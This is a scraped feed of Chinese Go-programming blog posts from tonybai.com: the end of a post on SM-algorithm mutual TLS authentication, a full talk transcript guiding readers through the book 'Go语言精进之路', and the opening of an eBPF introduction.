tlcp”数据似乎是被分为两次发送出去的。而服务端给客户端的Reply更是分成了“四段”发送的，目前还没有调查为何会出现这种情况，也许与tjfoc/gmsm的实现有关。\n注：实测：tjfoc/gmsm尚不支持在tls协议握手时使用rsa CA证书签发的采用gm算法生成的sm2证书，可以参见gmssl-examples/gmsm-tls-and-tlcp/server_gm和tlsclient_gm。\n七. 小结 国密是中国密码标准，和国际密码标准相比，有一定的后发优势，但由于在国际上应用很少，其安全性虽然得到了形式验证，但似乎尚未得到实践中的大规模考验。基于国密的tlcp协议由于与tls不兼容，也导致其在应用上受到了极大的限制。\n虽然有gmssl、有像tjfoc/gmsm这样的项目，但总体感觉国密在参考实现方面还不够成熟，生态还很欠缺，国家密码局在推广国密方面往往更多从法规层面。各个厂家往往都是因甲方需要国密而去满足要求，并没有原生推动国密的动力(譬如我们^_^)。\n因此，国密任重道远啊。\n本文内容仅供参考，可能有理解不正确和代码错误的地方，欢迎指正。\n文中示例代码可以在这里下载。\n八. 参考资料 《商用密码算法原理与C语言实现》 – https://weread.qq.com/web/bookDetail/2fb3259071ef04932fbfd2e 《商用密码应用与安全性评估》 – https://weread.qq.com/web/bookDetail/f3132ec071e072c3f311e99 《GmSSL项目文档》 – http://gmssl.org/docs/docindex.html 《Automatic cipher suite ordering in crypto/tls》 – https://go.dev/blog/tls-cipher-suites 《国密TLCP协议的过去、现在与未来》 – https://zhuanlan.zhihu.com/p/410212375 《Openssl cookbook》 – https://www.feistyduck.com/library/openssl-cookbook/online/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/two-way-authentication-using-go-and-sm-algorithm-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm\"\u003ehttps://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e国内做2B(to Biz)或2G(to Gov)产品和解决方案的企业都绕不过\u003cstrong\u003e国密算法\u003c/strong\u003e，越来越多的国内甲方在采购需求中包含了基于国密算法的认证、签名、加密等需求。对于国内的车联网平台来说，支持基于国密的双向认证也是大势所趋。在这篇文章中，我就来说说如何基于国密算法实现双向认证，即\u003cstrong\u003e使用国密算法的安全传输层双向认证\u003c/strong\u003e。\u003c/p\u003e","title":"使用Go基于国密算法实现双向认证"},{"content":"\n本文永久链接 – https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\n本文是2022年6月26日我在GoCN社区的Go读书会第二期《Go语言精进之路》直播的文字稿。本文对直播的内容做了重新整理与修订，供喜欢阅读文字的朋友们在收看直播后的揣摩和参考。视频控的童鞋可以关注GoCN公众号和视频号看剪辑后的视频，也可以在B站GopherChina专区下收看视频回放(https://www.bilibili.com/video/BV1p94y1R7jg)。\n大家晚上好，我叫白明，是《Go语言精进之路》一书的作者，也是tonybai.com的博主，很荣幸今天参加GoCN社区Go读书会第二期，分享一下我个人在写书和读书方面的经验和体会。\n今天的分享包括三方面内容：\n写书的历程。一些Gopher可能比较好奇，这么厚的一套书是怎么写出来的，今天就和大家聊一聊。 《Go语言精进之路》导读。主要是把这本书的整体构思与大家聊聊，希望通过这个导读帮助读者更好地阅读和理解这套书。 我个人的读书方法与经验的简要分享。 首先和大家分享一下写书的历程。\n一. 写书的历程 1. 程序员的“小目标”与写书三要素 今天收看直播的童鞋都是有追求的技术人员，可能心底都有写一本属于自己的书的小目标。这样可以把自己学习到的知识、技能和经验以比较系统的方式输出给其他人，可以帮助其他人快速学习和掌握本领域的知识、技能和经验。\n当然写书还有其他好处，比如：提升名气、更容易混技术圈子、可能给你带来更好的职业发展机会，当然也会给你带来一些额外的副业收入，至于多少，还要看书籍的口碑与销量。\n那怎么才能写书呢？作为“过来人”，我总结了三个要素，也是三个条件。\n第一个要素是能力。\n这个很容易理解。以Go为例，如果你没有在Go语言方面的知识、技能的沉淀，没有对Go语言方方面面的较为深入的理解，你很难写出一本口碑很好的书籍。尤其是那种有原创性、独到见解的著书。而不是对前人资料做系统整理摘抄的编书。编书更常见于教材、字典等。显然著书对作者水平的要求更高。\n第二个要素是意愿。\n写过书的同学都有体会，写书是一件辛苦活。需要你在正式工作之余付出大量业余时间伏案创作。并且对于小众技术类书籍来说，写书能带来的金钱上的收益和你付出的时长和精力不成正比。就这个问题，我曾与机械工业出版社的营销编辑老师聊过，得到的信息是：Go技术书籍的市场与Java、Python还没法比，即便是像Go语言圣经《Go程序设计语言》的销量也没法与Java、Python的头部书籍销量相比。\n第三个要素是机会。\n记得小时候十分羡慕那些能出书的人，觉得都是大神级的人物。不过那个时候出书的确很难，机会应该很少，你要不是在学术圈里混很难出书。如今就容易地多了，渠道也多了。每年出版社都有自己的出版计划，各个出版社的编辑老师也在根据计划在各种自媒体上、技术圈子中寻觅匹配的技术作者。\n如果你有自己的思路，也可以整理出大纲，并通过某种方式联系到出版社老师，如果匹配就可以出。\n另外国外流行电子自助出版，这也给很多技术作者很好的出版机会。比如国内作者老貘写的Go 101系列就是在亚马逊和leanpub上做的自助出版，效果还不错。\n以上就是我总结的出书的三个要素，一旦集齐这三个要素呢，出书实际就是自然而然的一件事了。以我为例。\n从能力方面来说呢，我大约从2011年开始接触和学习Go语言，算是国内较早的一批Go语言接纳者。Go语言2012年才发布1.0版本，因此那时我接触的Go时还是r60版本，还不是正式的1.0版本。从那时起就一直在跟踪Go演化，日常写一些Go项目的小程序。\nGo 1.5实现自举并大幅降低GC延迟，我于是开始在一些生产环境使用Go，并逐渐将知识和经验做了沉淀，在自己的博客上不断做着Go相关内容的输出，反响也不错。\n随着输出Go内容的增多，我发现以博客的形式输出，内容组织零散，于是我第一次有了将自己的Go知识系统整理并输出的意愿和想法。\n我在实践Go的过程中收到很多Go初学者的提问：Go入门容易，但精进难，怎么才能像Go开发团队那样写出符合Go思维和语言惯例的高质量代码呢？这个问题引发了我的思考。在2017年GopherChina大会我以《go coding in go way》为主题，以演讲的形式尝试回答这个问题，但鉴于演讲的时长有限，很多内容没能展开，效果不甚理想。这进一步增强了我通过书籍的形式系统解答这个问题的意愿。\n而当时我家大宝已经长大了，我也希望通过写书这个行动身体力行地给孩子树立一个正面的榜样。中国古语有云：言传身教，我也想践行一下。\n机会就这样自然而然的来了！2018年初，机械工业出版社副总编杨福川老师在微信联系到我，和我探讨一下是否可以写一本类似于“Effective Go”的书，当时机械工业出版社华章出版社策划了Effective XXX(编写高质量XXX)系列图书，当时已经出版了C、Python等语言版本的书籍，还差Go语言的。我的出书意愿与出版社的需求甚是匹配，于是我答应的杨老师的要求，成为了这套丛书的Go版本的作者。\n2. 写书的过程 我是2018下旬开始真正动笔的。\n真正开始码字的时候，我才意识到，写书真不容易，要写出高质量书稿，的确需付出大量时间和汗水。每天晚上、早上都在构思、码字、写代码示例、画插图，睡眠时间很少。记得当时每周末都在奋笔疾书，陪伴家人尤其是孩子的时间很少。\n另外我这个人还习惯于把一个知识点讲细讲透，这样每一节的篇幅都不小。因此，写作进展是很缓慢的，就这样，进度一再延期。好在编辑老师比较nice，考虑到书稿质量，没有狠狠催进度。\n2020年11月末，我正式向出版社交了初稿，记得初稿有66条，近40w字。\n又经过一年的排期、编辑、修订、排版，2021年12月下旬正式出版。\n2022年1月《Go语言精进之路》正式上架到各个渠道货架。\n到今天为止，出版了近六个月，这本书收获了还不错的口碑，在各个平台上的口碑都在8分以上(注：口碑分数还在动态变化，下图仅为当时的快照，不代表如今的分数)。\n能获得大家的认可，让我很是欣慰，觉得写书过程付出的辛苦没有白费。\n以上就是我的写书历程。总的来说一句话：写书不易，写高质量的书更难。\n接下来我来进行一下《Go语言精进之路》一书的导读。\n二. 《Go语言精进之路》导读 也许是“用力过猛”，《Go语言精进之路》一书写的太厚了，无法装订为一册。编辑老师建议装订为两册，即1、2册。很多同学好奇为什么不是上下册而是1、2册，这里是编辑老师的“高瞻远瞩”，目的是为后续可能的“续写”(比如第3册)留足空间，毕竟Go语言还在快速演进，目前的版本还不包含像泛型这样的新语法。不过，目前第3册还尚未列入计划。\n本套书共分为10个部分，66个主题。第一册包含了前7个部分，后3部分在第二册中。\n1. 整体写作思路 整套书围绕着两个前后关联的思路循序展开。\n第一个思路我叫它：精进之路，思维先行。\n第二个思路称为：践行哲学，遵循惯例，认清本质，理解原理。\n我们先来看看第一个思路。\n2. 精进之路，思维先行 收看直播的童鞋都不止学过一门编程语言。大家可能都有过这样的经历：你已经精通A语言，然后在学习B语言的时候用A语言的思维去写B代码，你会觉得写出的B代码很别扭，写出的代码总是感觉不是很地道，总觉得不是那种高质量的B语言代码。\n其实，不仅学习编程语言是这样，学自然语言也是一样。最典型的一个例子，大家都学过十几年的英语，但毕业后能用地道的英语表达自己观点的人却不多，为什么呢？那就是我们总用中文的思维方式去组织英语的句子，去说英语，这样再怎么努力也很难上一个层次。\n其实，很多语言大师早就意识到了这一点。下面是我收集的这些大师的关于语言与思维的论点，这里和大家分享一下：\n“语言决定思维方式” – 萨丕尔假说\n“我的语言之局限，即我的世界之局限” – 路德维希·维特根斯坦，语言哲学的奠基人\n“不能改变你思维方式的语言，不值得学习” – Alan Perlis（首届ACM图灵奖得主)\n我们看到：无论是自然语言界的大师，还是IT界的大佬，他们的观点异曲同工。总之一句话：语言要精进，思维要先行。\n3. Part1：进入Go语言编程思维导引 正是因为意识到语言与思维的紧密关系，我在书的第一部分就安排了Go语言编程思维导引，希望大家意识到Go编程思维在语言精进之路上的重要性。\n一门编程语言的思维也不是与生俱来的，而是在演进中逐步形成的。所以在这一部分，我安排了Go诞生与演进、Go设计哲学：简单、组合、并发、面向工程。这样做的目的是让大家一起了解Go语言设计者在设计Go语言时的所思所想，让读者站在语言设计者的高度理解Go语言与众不同的设计，认同Go语言的设计理念。因为这些是Go编程语言思维形成的“土壤”。\n这一部分最后一节是Go编程思维举例导引，书中给出了C, Haskell和Go程序员在面对同一个问题时，首先考虑到的思维方式以及不同思维下代码设计方式的差异。\n知道Go编程思维的重要性后，我们应该怎么做呢？\n4. 怎么学习Go编程思维？ 学习的本质是一种模仿。要学习Go思维，就要去模仿Go团队、Go社区的优秀项目和代码，看看他们怎么做的。这套书后面的部分讲的就是这个。而“践行哲学，遵循惯例，认清本质，理解原理”就是对后面内容的写作思路的概要性总结。\n践行哲学 把Go设计哲学用于自己的项目的设计实践中，而不是仅停留在口头知道上。\n遵循惯例 遵循Go团队的一些语言惯例，比如“comma，ok”、使用复合字面值初始化等，使用这些惯例你可以让你的代码显得很地道，别人一看就懂。\n认清本质 为了更高效地利用语言机制，我们要认清一些语言机制背后的本质，比如切片、字符串在运行时的表示，这样一来既能帮助开发人员正确使用这些语法元素，同时也能避免入坑。\n理解原理 Go带有运行时。运行时全程参与Go应用生命周期，因此，只有对Goroutine调度、GC等原理做适当了解，才能更好的发挥Go的威力。\n这套书的part2-part10 就是基于对Go团队、Go社区优秀实践与惯例的梳理，用系统化的思路构建出来并循序渐进呈现给大家的。\n5. Part2 – 项目基础：布局、代码风格与命名 这部门的内容是每个gopher在开启一个Go项目时都要考虑的事情。\n项目布局 我见过很多Gopher问项目布局的事情，因为Go官方没有给出标准布局。本书讲解了Go项目的结构布局的演进历程以及Go社区的事实标准，希望能给大家提供足够的参考信息。\n代码风格 针对Go代码风格，由于代码风格在Go中已经弱化，所以这里主要还是带大家理解gofmt存在的意义和使用方法。\n命名惯例 关于命名，我不知道大家是否觉得命名难，但对我来说是挺难的，我总是绞尽脑汁在想用啥名(手动允悲)。所以我的原则是“代码未动，命名先行”。 对于Go中变量、标识符等的命名惯例这样的“关键的问题”，我使用了“笨方法”：我统计了Go标准库、Docker库、k8s库的命名情况，并分门别类给出不同语法元素的命名惯例，具体内容大家可以看书了解 。\n6. Part3 – 语法基础：声明、类型、语句与控制结构 第三部分讲的很基础，但内容还是要高于基础的。\n一致的变量声明 我们知道Go提供多种变量声明方式，但是在不同位置该用哪种声明方式可读性好又不容易造坑呢(尤其要注意短变量声明)？书中给出了系统阐述。\n无类型常量与iota 大家都用过常量，但很多人对于无类型常量与有类型常量区别不了解，书中帮你做了总结。还有，很多人用过iota，但却不理解iota的真正含义以及它能帮你做啥。书中对iota的语义做了说明，对常见用途做了梳理。\n零值可用 Go提倡零值可用，也内置了有很多零值可用类型，用起来很爽，比如：切片(不全是，仅在append时是零值可用，当用下标访问时，不具备零值可用)、sync包中的Mutex、RDMutex等\n其实类比于线程（thread），goroutine也是一种零值可用的“类型”，只是Go没有goroutine这个类型罢了。\n如果我们是包的设计者，如果提供零值可用的类型，可以提升包的使用者的体验。\n复合字面值来初始化 使用复合字面值对相应的变量进行初始化是一个Go语言的惯例， Go虽然提供了new和make，但日常很少用，尤其是new。\n切片、字符串、map的原理、惯用法与坑 Go是带有runtime的语言，语法层面展示的很多语法元素和runtime层真实的表示并不一致。要想高效利用这些类型，如果不了解runtime层表示还真不行。有时候还有很严重的“坑”。懂了，自然就能绕过坑。\n包导入 Go源文件的import语句后面跟着的是包名还是包路径？Go编译是不是必须要有依赖项的源码才可以，只有.a是否可以？这些问题书中都有系统说明\n代码块与作用域 代码块与作用域是Go语言的基础概念，虽然基础，如果理解不好，也是有“坑”的，比如最常见的变量遮蔽等。一旦理解透了，还可以帮你解决意想不到的语法问题和执行语义错误问题。\n控制语句 Go倡导“一个问题只有一种解决方法”。Go针对每种控制语句仅提供一种语法形式。虽然仅有一种形式，用不好，一样容器掉坑。本套书总结了Go控制语句的惯用法与使用注意事项。\n7. Part4 – 语法基础：函数与方法 我们日常编写的Go代码逻辑都在函数或方法中，函数/方法是Go程序逻辑的基本承载单元。\ninit函数 init函数是包初始化过程中执行的函数，它有很多特殊用途。并且其初始化顺序对程序执行语义也有影响，这方面要搞清楚。书中对init函数的常见用途做了梳理，比如database/sql包的驱动自注册模式等。\n成为“一等公民” 在Go中，函数成为了“一等公民”。函数成为一等公民后可以像变量一样，被作为参数传递到函数中、作为返回值从函数中返回、作为右值赋值给其他变量等，书中系统讲解了这个特性都有哪些性质和特殊应用，比如函数式编程等。\ndefer语句的惯用法与坑 defer就是帮你简化代码逻辑的，书中总结了defer语句的应用模式。以及使用defer的注意事项，比如函数求值时机、使用开销等。\n变长参数函数 Go支持变长参数函数。大家可以没有意识到：变长参数函数是我们日常用的最多的一类函数，比如append函数、fmt.Printf系列、log包中提供的按日志严重级别输出日志的函数等。\n但变长参数函数可能也是我们自己设计与实现较少的一类函数形式。 变长参数函数能帮我们做什么呢？书中讲解了变长参数函数的常见用途，比如实现功能选项模式等。\n方法的本质、receiver参数类型选择、方法集合 方法的本质其实是函数，弄清楚方法的本质可以帮助我们解决很多难题，书中以实例方式帮助大家理解这一点。\n方法receiver参数类型的选择也是Go初学者的常见困惑，这里书中给出三个原则，参照这三个原则，receiver类型选择就不是问题了。\n怎么确定一个类型是否实现接口？我们需要看类型的方法集合。那么确定一个类型方法集合就十分重要，尤其是那些包括类型嵌入的类型的方法集合，书中对这块内容做了系统的讲解。\n8. Part5 – 语法核心：接口 接口的内部表示 接口是Go语言中的重要语法。Russ Cox曾说过：“如果要从Go语言中挑选出一个特性放入其他语言，我会选择接口”。可见接口的重要性。不过，用好接口类型的前提是理解接口在runtime层的表示，这一节会详细说明空接口与非空接口的内部表示。\n接口的设计惯例 我们应该设计什么样的接口呢？ 大接口有何弊端？小接口有何优势？多小的接口算是合理的呢？这些在本节都有说明。\n接口与组合 组合是Go的设计哲学，Go是关于组合的语言。接口在面向组合编程时将发挥重要作用。这里我将提到Go的两种组合方式：垂直组合和水平组合。其中接口类型在水平组合中起到的关键性的作用。书中还讲解了通过接口进行水平组合的几种模式：包裹模式、适配器函数、中间件等。\n很多初学者告诉我，他们做了一段时间Go编码了，但还没有自己设计过接口，我建议这样的同学好好读读这一部分。\n9. Part6 – 语法核心：并发编程 并发设计vs并行设计 学习并发编程首先要搞懂并发与并行的概念，书中用了一个很形象的机场安检的例子，来告诉大家并发与并行的区别。并发关乎结构，并行关注执行\n并发原语的原理与应用模式 Go实现了csp模型，提供了goroutine、channel、select并发原语。\n理解go并发编程。首先要深入理解基于goroutine的并发模型与调度方式。书中对这方面做了深入浅出的讲解，不涉及太多代码，相信大家都能看懂。\n书中还对比了go并发模型，一种是csp，一种是传统的基于共享内存方式，并列举了Go并发的常见模式，比如创建、取消、超时、管道模式等。\n另外，channel作为goroutine间通信的标准原语，有很多玩法，这里列举了常见的模式和使用注意事项。\n低级同步原语(sync和atomic) 虽然有了CSP模型的并发原语，极大简化并发编程，但是sync包和原子操作也不能忘记，很多性能敏感的临界区还需要sync包/atomic这样的低级同步原语来同步。\n10. Part7 – 错误处理 单独将错误处理拎出来，是因为很多人尤其是来自java的童鞋，习惯了try-catch-finally的结构化错误处理，看到go的错误处理就让其头疼。\nGo语言十分重视错误处理，但它也的确有着相对保守的设计和显式处理错误的惯例。\n本部分涵盖常见Go错误处理的策略、避免if err != nil写太多的方案，更为重要的是panic与错误处理的差别。我见过太多将panic用作正常处理的同学了。尤其是来自java阵营的童鞋。\n11. Part8 – 编程实践：测试、调试与性能剖析 本部分聚焦编码之外的Go工具链工程实践。\nGo测试惯例与组织形式 这部分首先和大家聊聊go test包的组织形式，包括是选择包内测试还是包外测试？何时采用符合go惯例的表驱动的测试用例组织形式？如何管理测试依赖的外部数据文件等。\n模糊测试(fuzzing test)。 这里的模糊测试并非基于go 1.18的原生fuzzing test进行，写书的时候go 1.18版本尚未发布，而是基于德米特里-维尤科夫的go-fuzz工具。\n性能基准测试、度量数据与pprof性能剖析 Go原生提供性能基准测试。这一节讲解了如何做性能基准测试、如何编写串行与并行的测试、性能基准测试结果比较工具以及如何排除额外干扰，让结果更准确等方面内容。在讲解pprof性能剖析工具时，我使用一个实例进行剖析讲解，这样理解起来更为直观。\nGo调试 说到Go调试，我们日常使用最多的估计还是print大法。但在print大法之外，其实有一个事实标准的Go调试工具，它就是delve。在这一节中，我讲解了delve的工作原理以及使用delve如何实现并发调试、coredump调试以及在线挂接(attach)进程的调试。\n12. Part9 – 标准库、反射与cgo go是自带电池，开箱即用的语言，拥有高质量的标准库。在国外有些Gopher甚至倡导仅依赖标准库实现go应用。\n高频使用的标准库包（net、http、strings、time、crypto等) 在这一节，我对高频使用的标准库包的原理和使用进行拆解分析，net、http、标准库io模型、strings、time、crypto等以帮助大家更高效的运用标准库。\nreflect包使用的三大法则 reflect包为go提供了反射能力，书中对反射的实现原理做了讲解，重点是reflect使用的三大法则。\ncgo使用 cgo不是go，但是cgo机制是使用go与c交互的唯一手段。书中对cgo的用法与约束做了详细讲解，尤其是在cgo开启的情况下如何做静态编译值得大家细读。\nunsafe包的安全使用法则 事实证明unsafe包很有用，但要做到安全使用unsafe包，尤其是unsafe.Pointer，需要遵循一定的安全使用法则。书中对此做了举例详细说明。\n反射、cgo、unsafe算是高级话题，要透彻理解，需要多阅读几遍书中内容并结合实践。\n13. Part10 – 工程实践 go module go module在go 1.11版本中引入go，在go 1.16版本中成为go官方默认构建模式。go程序员入门go，精进go都跨不过go module这道坎儿。书中对go module构建模式做了超级系统的讲解：从go构建模式演进历史、go module的概念、原理、惯例、升降级major版本的操作，到使用注意事项等。不过这里还有有一些瑕疵，那就是go module这一节放置的位置太靠后了，应该往往前面提提。如果后面有修订版，可以考虑这么做。\n自定义go包导入路径 书中还给出了一个自定义go包导入路径的一种实现方案，十分适合组织内部的私有仓库，有兴趣的同学可以重点看看。\ngo命令的使用模式详解 这一节将go命令分门别类地进行详细说明。包括：\n- 获取与安装的go get/go install - go包检视的go list - go包构建的go build - 运行与诊断的GODEBUG、GOGC等环境变量的功用 - 代码静态检查与重构 - 文档查看 - go代码生成go generate Go常见的“坑” 这一节将Go常见的“坑”进行了一次检阅。我这里将坑分为“语法类”和“标准库类”，并借鉴了央视五套天下足球top10节目，对每个坑的“遇坑指数”与“坑害指数”做了点评。\n14. 具备完整的示例代码与勘误表 这套书拥有具备完整的示例代码与勘误表，它们都被持续维护，让大家没有读书的后顾之忧。\n三. 读书的实践与体会 下面我再分享一下我个人是怎么读书的，包括go技术书籍的读书历程，以及关于读书的一些实践体会。\n读书是千人千面的事，没有固定标准的。我的读书方法也不见得适合诸位。大家听听即可，觉得还不错，能借鉴上就最好了。\n今天收看直播估计以gopher为主，所以首先说说Go语言书籍的阅读历程\n1. Go语言书籍阅读历程：先外后内 对于IT技术类图书，初期还是要看原版的。这个没办法，因为it编程技术绝大多数来自国外。\n我读的第一本Go技术书就是《the way to go》，至今这本书也没有引入国内。这是一本Go语言百科全书，大多数内容如今仍适用。唯一不足是该书成书于Go 1.0发布之前，使用的好像是r60版本，有少部分内容已经不适用。\n后来Go 1.0发布后，我还陆续读过Addison-Wesley出版的《programming in go》和《The Go Programming Language Phrasebook》，两本书都还不错。\n2015年末的布莱恩.克尼根和go核心团队的多诺万联合编写的《The Go Programming Language》，国内称之为Go圣经的书出版了，这让外文go技术书籍达到了巅峰，后来虽然也有go书籍书籍陆续出版，但都无法触及go圣经的地位。\n说完外文图书，我再来说说中文Go图书的阅读历程。\n我读过的第一本中文Go书籍是2012年许式伟老师的《Go语言编程》，很佩服许老师的眼光和魄力，七牛云很早就在生产用go。\n第二本中文Go书籍是雨痕老师的《go学习笔记》，这也是国内第一本深入到go底层原理的书籍(后半部分)，遗憾的是书籍停留在go 1.5(还是go 1.6)的实现上，没有随Go版本演进而持续更新。\n柴大和曹大合著的《go高级编程》也是一本不错的go技术书籍，如果你要深入学习cgo和go汇编，建议阅读此书。\n后面的《Go语言底层原理剖析》和《Go语言设计与实现》也都是以深入了解Go运行机制为目标的书籍，口碑都很好，对这方面内容感兴趣的gopher，可以任意挑一本学习。\n2. 自己的读书方法 我的读书方法其实不复杂，主要分为精读和泛读。\n阅读方式：好书精读，闲书泛读 好书，集中一大段时间内进行阅读。 闲书(不烧脑)，通常是 碎片化阅读。\n精读方法：摘录+脑图+行动清单 摘录就是将书中的观点和细节摘录出来，放到读书笔记，最好能用自己的语言重新描述出来，这样印象深刻，理解更为透彻。\n脑图，概括书的思维脉络，防止读完就忘记。 通过脑图，我至少看着脉络能想起来。\n行动清单：如果没有能输出行动清单，那这本书对你来说意义就不大。 什么是好书，好书就是那种看完后很迫切的想基于书中的观点做点什么。行动清单将有助于我在后续的行动中反复理解书中内容，提高知识的消化率和理解深度。\n泛读方法：碎片化+听书 泛读主要是碎片化快读或听书，主要是坐地铁，坐公交，散步时。开车时在保证安全的前提下，可以用听书的方式。\n四. 小结 本次分享了三块内容，这里小结一下：\n写书历程和写书三要素：能力 + 意愿 + 机会； Go精进之路导读：思维先行，践行哲学，遵循惯例，认清本质，理解原理； 读书方法：选高质量图书精读(脑图+细节摘录+行动清单）。 五. Q\u0026amp;A 在实际开发中有没有什么优雅的处理error的方法？ 建议看《Go语言精进之路》第一册第七部分中关于error处理的内容。\n是否在工作中使用过六边形架构以及依赖注入的处理经验? 暂没有使用过六边形架构，生产中没有使用过Go第三方依赖注入的方案。\n后面会有泛型和模糊测试的补充么？ 从书籍内容覆盖全面性的角度而言，我个人有补充上述内容的想法，但还要看现在这套书的销售情况以及出版社的计划。目前还没列入个人工作计划。\n作者总结一系列go方法论、惯例等很实用，这种有逻辑的思考和见解是怎么形成的？ 没有特意考虑过是怎么形成的。个人平时喜欢多问自己几个为什么，形成让自己信服的工作和学习逻辑。(文字稿补充：同理心、多总结、多复盘、多输出)。\n学习Go惯例、方法论，可以多多看Go语言开源项目自身的代码评审，看看Go contributor写代码的思路和如何评审其他贡献者的代码的。(文字稿补充：在这一过程中，潜移默化的感受Go编程思维)。\n如何阅读大型go项目的源码？ 我个人的方法就是自上而下。先拆分结构，然后找入口。如果是一个可执行的go程序，还是从入口层层的向后看。然后通过一些工具，比如我个人之前开发的函数调用跟踪工具，查看程序执行过程中的函数调用次序。\n更细节的内容，还是要深入到代码中去查看。\n对Go项目中的一些设计模式的看法？如何使用设计模式，使用时注意哪些事项？ 设计模式在go语言中并不是一个经常拿出来提的东西。我之前的一个观点：在其他语言中，需要大家通过一些额外细心的设计构建出来的设计模式，在Go语言中是自然而然就有的东西。\n我在自己的日常编码过程中，不会太多从如何应用设计模式的角度思考，而是按照go设计哲学，去考虑并发设计、组合的设计，而不是非要套用那23个经典设计模式。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\"\u003ehttps://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文是2022年6月26日我在\u003cstrong\u003eGoCN社区的Go读书会第二期《Go语言精进之路》直播的文字稿\u003c/strong\u003e。本文对直播的内容做了重新整理与修订，供喜欢阅读文字的朋友们在收看直播后的揣摩和参考。视频控的童鞋可以关注\u003cstrong\u003eGoCN公众号和视频号\u003c/strong\u003e看剪辑后的视频，也可以\u003ca href=\"https://www.bilibili.com/video/BV1p94y1R7jg\"\u003e在B站GopherChina专区下收看视频回放\u003c/a\u003e(\u003ca href=\"https://www.bilibili.com/video/BV1p94y1R7jg\"\u003ehttps://www.bilibili.com/video/BV1p94y1R7jg\u003c/a\u003e)。\u003c/p\u003e","title":"GoCN社区Go读书会第二期：《Go语言精进之路》"},{"content":"\n本文永久链接 – https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\n近两年最火的Linux内核技术非eBPF莫属！\n2019年以来，除了eBPF技术自身快速演进之外，基于eBPF技术的观测(Observability)、安全(Security)和网络(Networking)类项目如雨后春笋般出现。耳熟能详的的包括：cilium(把eBPF技术带到Kubernetes世界)、Falco(云原生安全运行时，Kubernetes威胁检测引擎的事实标准)、Katran(高性能四层负载均衡器)、pixie(用于Kubernetes应用程序的可观察性工具)等。\n今年3月份发布的thoughtworks技术雷达第26期也将eBPF技术放入试验的象限阶段。\neBPF技术火热，但很多童鞋还不知道eBPF技术究竟是什么，能做什么？在这篇文章中，我将带大家简单了解一下什么eBPF内核技术以及如何从头开始用C语言开发一个Hello World级eBPF程序。\n我们首先看一下这么火热的eBPF技术究竟是什么？\n一. eBPF简介 eBPF这门技术，我也是在几年前从性能专家、火焰图的发明者Brendan Gregg的blog和书中看到的。\neBPF技术的前身是BPF(Berkeley Packet Filter)，BPF始于1992年末的一篇名为“The BSD PacketFilter：A New Architecture for User-Level Packet 